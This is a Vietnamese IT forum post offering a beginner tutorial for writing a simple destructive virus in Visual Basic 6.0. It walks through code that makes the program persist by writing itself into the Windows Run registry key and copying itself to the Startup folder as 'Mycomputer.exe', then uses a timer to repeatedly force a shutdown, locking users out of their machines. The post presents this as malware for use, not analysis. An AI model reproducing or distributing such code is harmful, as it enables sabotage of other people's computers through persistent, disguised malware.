Quản trị net diễn đàn chia sẻ thông tin các thủ thuật mạng, internet bảo mật thông tin dành cho giới IT VIệt hy vọng là nơi bổ ích cho cộng đồng

Quản trị net diễn đàn chia sẻ thông tin các thủ thuật mạng, internet bảo mật thông tin dành cho giới IT VIệt hy vọng là nơi bổ ích cho cộng đồng (http://quantrinet.com/forum/index.php)
-   Trojan, Backdoor, virus, spyware, worm... (http://quantrinet.com/forum/forumdisplay.php?f=162)
-   -   Hướng dẫn lập trình Worm,Virus bằng VB 6.0 (http://quantrinet.com/forum/showthread.php?t=4167)

hoctinhoc 04-11-2009 10:35 PM

Hướng dẫn lập trình Worm,Virus bằng VB 6.0
 
Hướng dẫn lập trình Worm,Virus bằng VB 6.0


Định nghĩa virus và worm chắc là mọi người đều đã biết, hôm nay tôi xin giới thiệu một cách tạo virus đơn giản nhất với công cụ là VB 6.0
Tác dụng con này là tắt máy tính ( mang tính phá hoại )
Mức độ : Mới học !

Để làm được con này bạn cần khởi tạo 1 project mới, tạo 1 form , tạo 1 timer với thuộc tính interval =100, Enable = true .
Click kép vào form xuất hiện như sau :

Trích dẫn:



Private Sub Form_Load()

End Sub


tại đây bạn copy đoạn code này và pase vào nhé :


Trích dẫn:



Private Sub Form_Load()
'biến tenfile này để lấy đường dẫn tới file mà sau khi bạn dịch project này thành exe nó sẽ lấy được chính xác đường dẫn nó đang ở đâu.
tenfile = App.Path & "\" & App.EXEName & ".exe"
'tiếp đến là gọi thủ tục chaykhoidong để kích hoạt sự lây nhiễm.
chaykhoidong
'sau khi chạy song thì thoát
End Sub

Tiếp đến bạn copy đoạn code sau vào và pase sau phần form load nhé
code thủ tục chaykhoidong này:

Trích dẫn:



Private Sub chaykhoidong()
'Tạo đối tượng wscript
Dim objReg As Object
Set objReg = CreateObject("wscript.shell")
' Ghi giá trị vào Registry mục đích là khởi động win là chạy luôn cùng nó
objReg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CUR RENTVERSION\RUN\" & "Run", App.Path & "\" & App.EXEName & ".exe"
'Sau khi đã ghi vào Registry ròi, tiếp nữa là copy vào thư mục khởi động
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\Mycomputer.exe"
' sau đó kết thúc
End Sub




Tiếp đến là phần phá hoại này. Click kép vào timer nhé, nó sẽ cho ta đánh code vào nó các bạn oánh các code sau vào :


Trích dẫn:



Private Sub Timer1_Timer()
"Tắt máy tính cho biết tay saui 05'' nó sẽ tắt máy
Shell "Shutdown.exe -s -t 05 ", vbMaximizeFocus - r
' Bồi thêm thằng này nữa cho chắc ăn sợ thằng trước có thằng nó oánh lệnh shutdown nhanh ơn 5"
Shell "rundll32.exe user.exe,exitwindows"
End Sub



:battay:


Bây giờ là 05:57 PM. Giờ GMT +7

Diễn đàn tin học QuantriNet
quantrinet.com | quantrimang.co.cc
Founded by Trương Văn Phương | Developed by QuantriNet's members.
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.